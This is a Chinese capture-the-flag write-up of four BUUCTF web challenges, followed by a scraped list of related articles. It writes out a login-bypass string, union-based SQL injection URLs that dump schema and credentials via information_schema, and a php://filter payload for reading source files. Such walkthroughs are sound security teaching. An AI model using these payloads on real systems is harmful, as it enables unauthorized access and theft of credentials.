文章目录

  • [极客大挑战 2019]EasySQL
  • [极客大挑战 2019]Havefun
  • [极客大挑战 2019]Secret File
  • [极客大挑战 2019]LoveSQL

[极客大挑战 2019]EasySQL

打开后是一个登录框,直接尝试万能密码

(用户名:1’ or 1=1 # 密码:随便输)

登录得到flag

这里的万能密码是为什么呢?
数据库中的查询语句:

select id from users where username = '' or 1=1--  and password = '456'

又 这里呢1=1永远为真,后面 and password = ‘456’被注释掉了。数据库不需要考虑,这里我们就跳过了验证。
绕圈子的写法
尝试输入用户名和密码,在用户名和密码处输入正常数字时显示NO,Wrong username password!!! 但是在用户名和密码处输入数字加上’时页面报错,尝试换成数字+)没有报错,所以判断存在sql注入并且闭合符号为’

接着查询字段数

http://0c01d356-491f-4f75-be44-ec8e20c6661c.node4.buuoj.cn:81/check.php?``username=1' order by 4%23&password=1

查询注入点

http://0c01d356-491f-4f75-be44-ec8e20c6661c.node4.buuoj.cn:81/check.php?username=1' union select 1,2,3%23&password=1

这时已经爆出了flag

[极客大挑战 2019]Havefun

打开后一个挺好玩的网站,查看源代码,拉到底发现是一个简单的get传值,

直接输入?cat=dog可以得到flag

[极客大挑战 2019]Secret File

是个网站,先查看源代码,发现有一个可以点的网站,点开进入

按钮点了之后会迅速返回到这里

尝试抓包,看看有没有有用的信息,抓包发现有一个文件,访问

访问后又发现一个提示

访问flag.php发现什么也没有,这里思路断了不知道咋那么写了,查看别人的wp发现要用到filter伪协议没见过,去百度搜了下,这里用到的是base过滤器:
base64的编码转换操作,例如:

file_get_contents("php://filter/read=convert.base64-encode/resource=data://text/plain,m1sn0w");

Quoted-printable可译为可打印字符引用编码,可以理解为将一些不可打印的ASCII字符进行一个编码转换,转换成=后面跟两个十六进制数,例如:

file_get_contents("php://filter/read=convert.quoted-printable-encode/resource=data://text/plain,m1sn0w".chr(12));输出为m1sn0w=0C

摘自大佬博客:https://cxymm.net/article/gental_z/122303393
所以这里要构造语句

?file=php://filter/convert.base64-encode/resource=flag.php

可以得到一长串base密码,找个网站解密可以得到flag

[极客大挑战 2019]LoveSQL

打开后发现是一个登录框,尝试万能密码
可以得到这个

尝试登陆,果然登不上
那就sql注入,查询字符段

?username=1' order by 3%23&passward=1
?username=1' order by 4%23&passward=1

4时报错,字段数为3
然后查询注入点

?username=1' union select 1,2,3%23&password=1


得到回显点位为2和3,查询当前数据库名及版本:

?username=1' union select 1,database(),version()%23&password=1


然后爆表

?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1


爆字段,先爆l0ve1ysq1这个表

?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1


最后爆数据,得到flag

?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1

buuctf web wp相关推荐

  1. Buuctf -web wp汇总(一)

    Buuctf -web wp汇总(一):链接 Buuctf -web wp汇总(二):链接 持续更新ing~ BuuCTF平台 文章目录 BuuCTF平台 [极客大挑战 2019]EasySQL [极 ...

  2. Buuctf -web wp汇总(三)

    Buuctf -web wp汇总(一):链接 Buuctf -web wp汇总(二):链接 Buuctf -web wp汇总(三):链接 文章目录 [WUSTCTF2020]朴实无华 [WUSTCTF ...

  3. 纵横杯2020 web wp

    title: 纵横杯2020 web wp date: 2020-12-26 18:19:03 tags: CTF categories: 比赛 link:https://yq1ng.github.i ...

  4. BUUCTF WEB [BJDCTF2020]ZJCTF,不过如此

    BUUCTF WEB [BJDCTF2020]ZJCTF,不过如此 进入环境后得到源码 <?phperror_reporting(0); $text = $_GET["text&quo ...

  5. BUUCTF Web 极客大挑战 2019 EasySQL

    BUUCTF Web 极客大挑战 2019 EasySQL 文章目录 BUUCTF Web 极客大挑战 2019 EasySQL 1,输入万能密码: 2,输入万能账号 首先有点常识: 正常SQL语句这 ...

  6. BUUCTF WEB [BSidesCF 2020]Had a bad day

    BUUCTF WEB [BSidesCF 2020]Had a bad day index.php?category=woofers' 报错 Warning: include(woofers'.php ...

  7. BUUCTF WEB [BJDCTF2020]The mystery of ip

    BUUCTF WEB [BJDCTF2020]The mystery of ip 在hint.php中找到一句注释 <!-- Do you know why i know your ip? -- ...

  8. BUUCTF WEB [极客大挑战 2019]LoveSQL

    BUUCTF WEB [极客大挑战 2019]LoveSQL 进入靶机后尝试万能密码登录 admin 123' or '1'='1 获得flag Login Success! Hello admin! ...

  9. ISCC2021 Web WP

    目录 练武 ISCC客服冲冲冲(一) 这是啥 正则匹配最后的倔强. 登录 which is the true iscc ISCC客服一号冲冲冲(二) lovely ssti 擂台 tornado ea ...

  10. BUUCTF web(三)

    [HCTF 2018]admin 随便注册了一个账号,登陆进去在change password界面源码找到了 Flask是一个使用 Python 编写的轻量级 Web 应用框架.其 WSGI 工具箱采 ...

最新文章

  1. python内存管理 变量无需事先声明_python 内存管理
  2. UPDATE ORACLE(9i OR 10G) USER'S PASSWORD AND GET ORACLE VERSION MESSAGE
  3. 实现 ASP.NET 网站地图提供者
  4. python编程if语法-Python基本语法(if判断)
  5. Scala 中的函数式编程基础(一)
  6. pytorch C++部署模型 ONNX tensorRT
  7. 大厂经验(二):多端可视化埋点解决方案
  8. Intel Edision安装Android Things
  9. .NET Core开发实战(第30课:领域事件:提升业务内聚,实现模块解耦)--学习笔记...
  10. sql-C#-类型对应
  11. spring注解 @Scheduled(cron = 0 0 1 * * *)的使用来实现定时的执行任务
  12. String、StringBuffer 、StringBuilder 的区别(转)
  13. Linux中DHCP主配置文件解析
  14. 基于bootstrap table配置的二次封装
  15. Object.HashCode()——居然是Java Native方法
  16. 音频数字信号详解(2017年11月18日更新)
  17. 机器学习-分类-线性分类器
  18. conda安装本地whl文件
  19. 计算机课堂活跃小游戏,几个课堂小游戏(能活跃课堂气氛)
  20. USB3.0无法识别U盘解决办法

热门文章

  1. 【拿到offer】2020农业银行校园秋季招聘面试心得
  2. android下修改hosts文件 (转自阿辉)
  3. Geometric tampering estimation by means of a sift-based forensic analysis论文阅读
  4. 简单的sql注入之2WP
  5. jquery查子元素
  6. oppo怎么修改dns服务器地址,OPPO R7/R7 Plus修改DNS图文教程
  7. 北京五大不可不去的隐秘餐厅
  8. 轻量级录屏软件 Captura 使用 ffmpeg 调用 NVDIA nvenc 录制小体积网课视频
  9. Baker Tilly与RGL Forensics宣布合并
  10. PLC基础知识,详细解说PLC的优势,特点,功能,分类,应用领域及安装注意事项